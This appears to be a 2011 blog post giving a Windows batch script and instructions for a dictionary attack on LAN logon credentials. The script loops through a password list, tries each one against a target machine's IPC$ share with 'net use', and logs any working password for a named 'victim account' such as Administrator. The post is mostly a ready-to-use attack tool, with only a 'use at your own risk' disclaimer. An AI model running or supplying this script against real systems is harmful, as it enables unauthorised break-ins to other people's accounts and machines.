Monday, April 4, 2011

LAN Remote user – Dictionary Attack:



This Batch file launches a Dictionary attack and find the Windows logon Credentials in a
LAN. You need a Dictionary text file to proceed further to launch this attack successfully.

1. Open up a Notepad file.
2. Type
@echo off
Title LAN Dictionary Attack Launcher
Color 0a
if “%1″==”” goto fin
if “%2″==”” goto fin
del logfile.txt
FOR /F “tokens=1″ %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1\ipc$ %%i /u:%1\%2 2>>logfile.txt && ^
echo %time% %date% >> outfile.txt && ^
echo \\%1\ipc$ acct: %2 pass: %%i >> output.txt && goto end
:fin
echo *****Done*****
3.Save as *.batt
4. Make sure that you have a Dictionary Password Text file in the same location where you are going to
execute this program. (Name should be passlist.txt)
5. Now go to the command prompt and then execute this program from there, along with the Target
computers IP address or Hostname and the Valid Username.
The Syntax should be like this,…
C:\>LANbrute.bat xxx.xxx.xxx.xxx Administrator
Where,
LANbrute.bat – This is the Name of the batch file that resides in the C Drive.
xxx.xxx.xxx.xxx – IP Address of the Target Computer.
Administrator – Victim Account that you want to crack.
5. This program will start launching Dictionary Attack against the administrator account on the Machine
xxx.xxx.xxx.xxx by using the passwords from the file passlist.txt and will not stop until it finds a right
match.
6. If the right password was found, then it will save it in a text file named ‘output.txt’ on the same
directory.
Credits to the Folks from Irongeek, because this is an idea by them.
Use at your own risk.Iwill not be responsible for anything.

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Affiliate Network Reviews